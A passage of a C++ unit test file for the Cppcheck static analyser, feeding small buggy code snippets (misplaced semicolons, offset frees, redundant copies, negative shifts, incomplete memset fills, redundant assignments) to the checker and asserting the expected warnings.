an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 